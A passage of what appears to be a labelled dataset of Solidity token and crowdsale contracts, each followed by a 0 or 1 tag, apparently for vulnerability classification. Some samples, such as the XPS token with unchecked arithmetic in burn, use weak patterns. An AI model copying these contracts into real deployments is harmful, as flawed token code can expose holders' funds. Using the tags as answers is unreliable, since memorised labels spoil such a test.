function receiveFunds(address _address, uint256 _amount) internal;
function validateTransaction() internal view;
function handleTokens(address _address, uint256 _tokens) internal;
function handleFunds(address _address, uint256 _ethers) internal;
}
contract BasicFundraiser is HasOwner, AbstractFundraiser {
using SafeMath for uint256;
uint8 constant DECIMALS = 18;
uint256 constant DECIMALS_FACTOR = 10 ** uint256(DECIMALS);
uint256 public startTime;
uint256 public endTime;
address public beneficiary;
uint256 public conversionRate;
uint256 public totalRaised;
event ConversionRateChanged(uint _conversionRate);
function initializeBasicFundraiser(
uint256 _startTime,
uint256 _endTime,
uint256 _conversionRate,
address _beneficiary
)
internal
{
require(_endTime >= _startTime, "Fundraiser's end is before its start");
require(_conversionRate > 0, "Conversion rate is not set");
require(_beneficiary != address(0), "The beneficiary is not set");
startTime = _startTime;
endTime = _endTime;
conversionRate = _conversionRate;
beneficiary = _beneficiary;
}
function setConversionRate(uint256 _conversionRate) public onlyOwner {
require(_conversionRate > 0, "Conversion rate is not set");
conversionRate = _conversionRate;
emit ConversionRateChanged(_conversionRate);
}
function setBeneficiary(address _beneficiary) public onlyOwner {
require(_beneficiary != address(0), "The beneficiary is not set");
beneficiary = _beneficiary;
}
function receiveFunds(address _address, uint256 _amount) internal {
validateTransaction();
uint256 tokens = calculateTokens(_amount);
require(tokens > 0, "The transaction results in zero tokens");
totalRaised = totalRaised.plus(_amount);
handleTokens(_address, tokens);
handleFunds(_address, _amount);
emit FundsReceived(_address, msg.value, tokens);
}
function getConversionRate() public view returns (uint256) {
return conversionRate;
}
function calculateTokens(uint256 _amount) internal view returns(uint256 tokens) {
tokens = _amount.mul(getConversionRate());
}
function validateTransaction() internal view {
require(msg.value != 0, "Transaction value is zero");
require(now >= startTime && now < endTime, "The fundraiser is not active");
}
function hasEnded() public view returns (bool) {
return now >= endTime;
}
}
contract StandardMintableToken is MintableToken {
constructor(address _minter, string _name, string _symbol, uint8 _decimals)
StandardToken(_name, _symbol, _decimals)
MintableToken(_minter)
public
{
}
}
contract MintableTokenFundraiser is BasicFundraiser {
function initializeMintableTokenFundraiser(string _name, string _symbol, uint8 _decimals) internal {
token = new StandardMintableToken(
address(this),
_name,
_symbol,
_decimals
);
}
function handleTokens(address _address, uint256 _tokens) internal {
MintableToken(token).mint(_address, _tokens);
}
}
contract IndividualCapsFundraiser is BasicFundraiser {
uint256 public individualMinCap;
uint256 public individualMaxCap;
uint256 public individualMaxCapTokens;
event IndividualMinCapChanged(uint256 _individualMinCap);
event IndividualMaxCapTokensChanged(uint256 _individualMaxCapTokens);
function initializeIndividualCapsFundraiser(uint256 _individualMinCap, uint256 _individualMaxCap) internal {
individualMinCap = _individualMinCap;
individualMaxCap = _individualMaxCap;
individualMaxCapTokens = _individualMaxCap * conversionRate;
}
function setConversionRate(uint256 _conversionRate) public onlyOwner {
super.setConversionRate(_conversionRate);
if (individualMaxCap == 0) {
return;
}
individualMaxCapTokens = individualMaxCap * _conversionRate;
emit IndividualMaxCapTokensChanged(individualMaxCapTokens);
}
function setIndividualMinCap(uint256 _individualMinCap) public onlyOwner {
individualMinCap = _individualMinCap;
emit IndividualMinCapChanged(individualMinCap);
}
function setIndividualMaxCap(uint256 _individualMaxCap) public onlyOwner {
individualMaxCap = _individualMaxCap;
individualMaxCapTokens = _individualMaxCap * conversionRate;
emit IndividualMaxCapTokensChanged(individualMaxCapTokens);
}
function validateTransaction() internal view {
super.validateTransaction();
require(
msg.value >= individualMinCap,
"The transaction value does not pass the minimum contribution cap"
);
}
function handleTokens(address _address, uint256 _tokens) internal {
require(
individualMaxCapTokens == 0 || token.balanceOf(_address).plus(_tokens) <= individualMaxCapTokens,
"The transaction exceeds the individual maximum cap"
);
super.handleTokens(_address, _tokens);
}
}
contract GasPriceLimitFundraiser is HasOwner, BasicFundraiser {
uint256 public gasPriceLimit;
event GasPriceLimitChanged(uint256 gasPriceLimit);
function initializeGasPriceLimitFundraiser(uint256 _gasPriceLimit) internal {
gasPriceLimit = _gasPriceLimit;
}
function changeGasPriceLimit(uint256 _gasPriceLimit) public onlyOwner {
gasPriceLimit = _gasPriceLimit;
emit GasPriceLimitChanged(_gasPriceLimit);
}
function validateTransaction() internal view {
require(gasPriceLimit == 0 || tx.gasprice <= gasPriceLimit, "Transaction exceeds the gas price limit");
return super.validateTransaction();
}
}
contract ForwardFundsFundraiser is BasicFundraiser {
function handleFunds(address, uint256 _ethers) internal {
beneficiary.transfer(_ethers);
}
}
contract PresaleFundraiser is MintableTokenFundraiser {
uint256 public presaleSupply;
uint256 public presaleMaxSupply;
uint256 public presaleStartTime;
uint256 public presaleEndTime;
uint256 public presaleConversionRate;
function initializePresaleFundraiser(
uint256 _presaleMaxSupply,
uint256 _startTime,
uint256 _endTime,
uint256 _conversionRate
)
internal
{
require(_endTime >= _startTime, "Pre-sale's end is before its start");
require(_conversionRate > 0, "Conversion rate is not set");
presaleMaxSupply = _presaleMaxSupply;
presaleStartTime = _startTime;
presaleEndTime = _endTime;
presaleConversionRate = _conversionRate;
}
function isPresaleActive() internal view returns (bool) {
return now < presaleEndTime && now >= presaleStartTime;
}
function getConversionRate() public view returns (uint256) {
if (isPresaleActive()) {
return presaleConversionRate;
}
return super.getConversionRate();
}
function validateTransaction() internal view {
require(msg.value != 0, "Transaction value is zero");
require(
now >= startTime && now < endTime || isPresaleActive(),
"Neither the pre-sale nor the fundraiser are currently active"
);
}
function handleTokens(address _address, uint256 _tokens) internal {
if (isPresaleActive()) {
presaleSupply = presaleSupply.plus(_tokens);
require(
presaleSupply <= presaleMaxSupply,
"Transaction exceeds the pre-sale maximum token supply"
);
}
super.handleTokens(_address, _tokens);
}
}
contract TieredFundraiser is BasicFundraiser {
uint256 constant CONVERSION_RATE_FACTOR = 100;
function getConversionRate() public view returns (uint256) {
return super.getConversionRate().mul(CONVERSION_RATE_FACTOR);
}
function calculateTokens(uint256 _amount) internal view returns(uint256 tokens) {
return super.calculateTokens(_amount).div(CONVERSION_RATE_FACTOR);
}
function getConversionRateFactor() public pure returns (uint256) {
return CONVERSION_RATE_FACTOR;
}
}
contract TIMEToken is MintableToken {
constructor(address _minter)
StandardToken(
"TIME",
"TM",
18
)
MintableToken(_minter)
public
{
}
}
contract TIMETokenSafe is TokenSafe {
constructor(address _token)
TokenSafe(_token)
public
{
init(
1,
1555049100
);
add(
1,
0x892f34F709Dd7090e6E2BeC8220E88CbdF57ed7B,
4375000000000000000000000
);
}
}
contract TIMETokenFundraiser is MintableTokenFundraiser, PresaleFundraiser, IndividualCapsFundraiser, ForwardFundsFundraiser, TieredFundraiser, GasPriceLimitFundraiser {
TIMETokenSafe public tokenSafe;
constructor()
HasOwner(msg.sender)
public
{
token = new TIMEToken(
address(this)
);
tokenSafe = new TIMETokenSafe(token);
MintableToken(token).mint(address(tokenSafe), 4375000000000000000000000);
initializeBasicFundraiser(
1555048920,
1893391380,
1,
0xaC4F9BE57419Aed5e71739Cd22a0cf2da4c90Fe4
);
initializeIndividualCapsFundraiser(
(0 ether),
(0 ether)
);
initializeGasPriceLimitFundraiser(
3000000000000000
);
initializePresaleFundraiser(
12500000000000000000000000,
1555048800,
1555048860,
1
);
}
function getConversionRate() public view returns (uint256) {
uint256 rate = super.getConversionRate();
if (now >= 1555049040 && now < 1555049100)
return rate.mul(105).div(100);
return rate;
}
function mint(address _to, uint256 _value) public onlyOwner {
MintableToken(token).mint(_to, _value);
}
function disableMinting() public onlyOwner {
MintableToken(token).disableMinting();
}
} | 0 |
pragma solidity ^0.4.24;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () {
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract IRECToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT = 9000000000 * (10**18);
address private owner;
mapping (address => bool) private frozenAccount;
uint256 tokenCount = 0;
bool frozen = false;
function IRECToken () {
owner = msg.sender;
}
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Investment Real Estate Coin";
string constant public symbol = "IREC";
uint8 constant public decimals = 18;
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
event Freeze ();
event Unfreeze ();
event FrozenFunds(address target, bool frozen);
event RefundTokens(address _token, address _refund, uint256 _value);
} | 1 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract XPS {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function XPS(
) public {
totalSupply = 20000000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "XPS";
symbol = "XPS";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.24;
contract Crowdsale {
using SafeMath for uint256;
ERC20Interface public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20Interface _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Standard is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function transfer(address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) external returns (bool) {
require(allowed[msg.sender][_spender] == 0 || _value == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function totalSupply() external view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) external view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) external returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC223Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value, bytes data) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Standard is ERC223Interface, ERC20Standard {
using SafeMath for uint256;
function transfer(address _to, uint256 _value, bytes _data) external returns(bool){
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
}
function transfer(address _to, uint256 _value) external returns(bool){
uint256 codeLength;
bytes memory empty;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is ERC223Standard, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract PoolAndSaleInterface {
address public tokenSaleAddr;
address public votingAddr;
address public votingTokenAddr;
uint256 public tap;
uint256 public initialTap;
uint256 public initialRelease;
function setTokenSaleContract(address _tokenSaleAddr) external;
function startProject() external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLockPool{
using SafeMath for uint256;
struct LockedBalance {
uint256 balance;
uint256 releaseTime;
}
mapping (address => mapping (address => LockedBalance[])) public lockedBalances;
event Deposit(
address indexed owner,
address indexed tokenAddr,
uint256 amount,
uint256 releaseTime
);
event Withdraw(
address indexed owner,
address indexed tokenAddr,
uint256 amount
);
constructor() public {}
function depositERC20 (
address tokenAddr,
address account,
uint256 amount,
uint256 releaseTime
) external returns (bool) {
require(account != address(0x0));
require(tokenAddr != 0x0);
require(msg.value == 0);
require(amount > 0);
require(ERC20Interface(tokenAddr).transferFrom(msg.sender, this, amount));
lockedBalances[account][tokenAddr].push(LockedBalance(amount, releaseTime));
emit Deposit(account, tokenAddr, amount, releaseTime);
return true;
}
function depositETH (
address account,
uint256 releaseTime
) external payable returns (bool) {
require(account != address(0x0));
address tokenAddr = address(0x0);
uint256 amount = msg.value;
require(amount > 0);
lockedBalances[account][tokenAddr].push(LockedBalance(amount, releaseTime));
emit Deposit(account, tokenAddr, amount, releaseTime);
return true;
}
function withdraw (address account, address tokenAddr, uint256 index_from, uint256 index_to) external returns (bool) {
require(account != address(0x0));
uint256 release_amount = 0;
for (uint256 i = index_from; i < lockedBalances[account][tokenAddr].length && i < index_to + 1; i++) {
if (lockedBalances[account][tokenAddr][i].balance > 0 &&
lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
release_amount = release_amount.add(lockedBalances[account][tokenAddr][i].balance);
lockedBalances[account][tokenAddr][i].balance = 0;
}
}
require(release_amount > 0);
if (tokenAddr == 0x0) {
if (!account.send(release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
} else {
if (!ERC20Interface(tokenAddr).transfer(account, release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
}
}
function getAvailableBalanceOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 balance = 0;
for(uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if (lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
balance = balance.add(lockedBalances[account][tokenAddr][i].balance);
}
}
return balance;
}
function getLockedBalanceOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 balance = 0;
for(uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if(lockedBalances[account][tokenAddr][i].releaseTime > block.timestamp) {
balance = balance.add(lockedBalances[account][tokenAddr][i].balance);
}
}
return balance;
}
function getNextReleaseTimeOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 nextRelease = 2**256 - 1;
for (uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if (lockedBalances[account][tokenAddr][i].releaseTime > block.timestamp &&
lockedBalances[account][tokenAddr][i].releaseTime < nextRelease) {
nextRelease = lockedBalances[account][tokenAddr][i].releaseTime;
}
}
if (nextRelease == 2**256 - 1) {
nextRelease = 0;
}
return nextRelease;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract TokenController is Ownable {
using SafeMath for uint256;
MintableToken public targetToken;
address public votingAddr;
address public tokensaleManagerAddr;
State public state;
enum State {
Init,
Tokensale,
Public
}
constructor (
MintableToken _targetToken
) public {
targetToken = MintableToken(_targetToken);
state = State.Init;
}
function mint (address to, uint256 amount) external returns (bool) {
if ((state == State.Init && msg.sender == owner) ||
(state == State.Tokensale && msg.sender == tokensaleManagerAddr)) {
return targetToken.mint(to, amount);
}
revert();
}
function openTokensale (address _tokensaleManagerAddr)
external
onlyOwner
returns (bool)
{
require(MintableToken(targetToken).owner() == address(this));
require(state == State.Init);
require(_tokensaleManagerAddr != address(0x0));
tokensaleManagerAddr = _tokensaleManagerAddr;
state = State.Tokensale;
return true;
}
function closeTokensale () external returns (bool) {
require(state == State.Tokensale && msg.sender == tokensaleManagerAddr);
state = State.Public;
return true;
}
function isStateInit () external view returns (bool) {
return (state == State.Init);
}
function isStateTokensale () external view returns (bool) {
return (state == State.Tokensale);
}
function isStatePublic () external view returns (bool) {
return (state == State.Public);
}
}
contract TokenSaleManager is Ownable {
using SafeMath for uint256;
ERC20Interface public token;
address public poolAddr;
address public tokenControllerAddr;
address public timeLockPoolAddr;
address[] public tokenSales;
mapping( address => bool ) public tokenSaleIndex;
bool public isStarted = false;
bool public isFinalized = false;
modifier onlyDaicoPool {
require(msg.sender == poolAddr);
_;
}
modifier onlyTokenSale {
require(tokenSaleIndex[msg.sender]);
_;
}
constructor (
address _tokenControllerAddr,
address _timeLockPoolAddr,
address _daicoPoolAddr,
ERC20Interface _token
) public {
require(_tokenControllerAddr != address(0x0));
tokenControllerAddr = _tokenControllerAddr;
require(_timeLockPoolAddr != address(0x0));
timeLockPoolAddr = _timeLockPoolAddr;
token = _token;
poolAddr = _daicoPoolAddr;
require(PoolAndSaleInterface(poolAddr).votingTokenAddr() == address(token));
PoolAndSaleInterface(poolAddr).setTokenSaleContract(this);
}
function() external payable {
revert();
}
function addTokenSale (
uint256 openingTime,
uint256 closingTime,
uint256 tokensCap,
uint256 rate,
bool carryover,
uint256 timeLockRate,
uint256 timeLockEnd,
uint256 minAcceptableWei
) external onlyOwner {
require(!isStarted);
require(
tokenSales.length == 0 ||
TimedCrowdsale(tokenSales[tokenSales.length-1]).closingTime() < openingTime
);
require(TokenController(tokenControllerAddr).state() == TokenController.State.Init);
tokenSales.push(new TokenSale(
rate,
token,
poolAddr,
openingTime,
closingTime,
tokensCap,
timeLockRate,
timeLockEnd,
carryover,
minAcceptableWei
));
tokenSaleIndex[tokenSales[tokenSales.length-1]] = true;
}
function initialize () external onlyOwner returns (bool) {
require(!isStarted);
TokenSale(tokenSales[0]).initialize(0);
isStarted = true;
}
function mint (
address _beneficiary,
uint256 _tokenAmount
) external onlyTokenSale returns(bool) {
require(isStarted && !isFinalized);
require(TokenController(tokenControllerAddr).mint(_beneficiary, _tokenAmount));
return true;
}
function mintTimeLocked (
address _beneficiary,
uint256 _tokenAmount,
uint256 _releaseTime
) external onlyTokenSale returns(bool) {
require(isStarted && !isFinalized);
require(TokenController(tokenControllerAddr).mint(this, _tokenAmount));
require(ERC20Interface(token).approve(timeLockPoolAddr, _tokenAmount));
require(TimeLockPool(timeLockPoolAddr).depositERC20(
token,
_beneficiary,
_tokenAmount,
_releaseTime
));
return true;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
require(isStarted);
for (uint256 i = 0; i < tokenSales.length; i++ ) {
WhitelistedCrowdsale(tokenSales[i]).addToWhitelist(_beneficiary);
}
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
require(isStarted);
for (uint256 i = 0; i < tokenSales.length; i++ ) {
WhitelistedCrowdsale(tokenSales[i]).addManyToWhitelist(_beneficiaries);
}
}
function finalize (uint256 _indexTokenSale) external {
require(isStarted && !isFinalized);
TokenSale ts = TokenSale(tokenSales[_indexTokenSale]);
if (ts.canFinalize()) {
ts.finalize();
uint256 carryoverAmount = 0;
if (ts.carryover() &&
ts.tokensCap() > ts.tokensMinted() &&
_indexTokenSale.add(1) < tokenSales.length) {
carryoverAmount = ts.tokensCap().sub(ts.tokensMinted());
}
if(_indexTokenSale.add(1) < tokenSales.length) {
TokenSale(tokenSales[_indexTokenSale.add(1)]).initialize(carryoverAmount);
}
}
}
function finalizeTokenSaleManager () external{
require(isStarted && !isFinalized);
for (uint256 i = 0; i < tokenSales.length; i++ ) {
require(FinalizableCrowdsale(tokenSales[i]).isFinalized());
}
require(TokenController(tokenControllerAddr).closeTokensale());
isFinalized = true;
PoolAndSaleInterface(poolAddr).startProject();
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TokenSale is FinalizableCrowdsale,
WhitelistedCrowdsale {
using SafeMath for uint256;
address public managerAddr;
address public poolAddr;
bool public isInitialized = false;
uint256 public timeLockRate;
uint256 public timeLockEnd;
uint256 public tokensMinted = 0;
uint256 public tokensCap;
uint256 public minAcceptableWei;
bool public carryover;
modifier onlyManager{
require(msg.sender == managerAddr);
_;
}
constructor (
uint256 _rate,
ERC20Interface _token,
address _poolAddr,
uint256 _openingTime,
uint256 _closingTime,
uint256 _tokensCap,
uint256 _timeLockRate,
uint256 _timeLockEnd,
bool _carryover,
uint256 _minAcceptableWei
) public Crowdsale(_rate, _poolAddr, _token) TimedCrowdsale(_openingTime, _closingTime) {
require(_timeLockRate >= 0 && _timeLockRate <=100);
require(_poolAddr != address(0x0));
managerAddr = msg.sender;
poolAddr = _poolAddr;
timeLockRate = _timeLockRate;
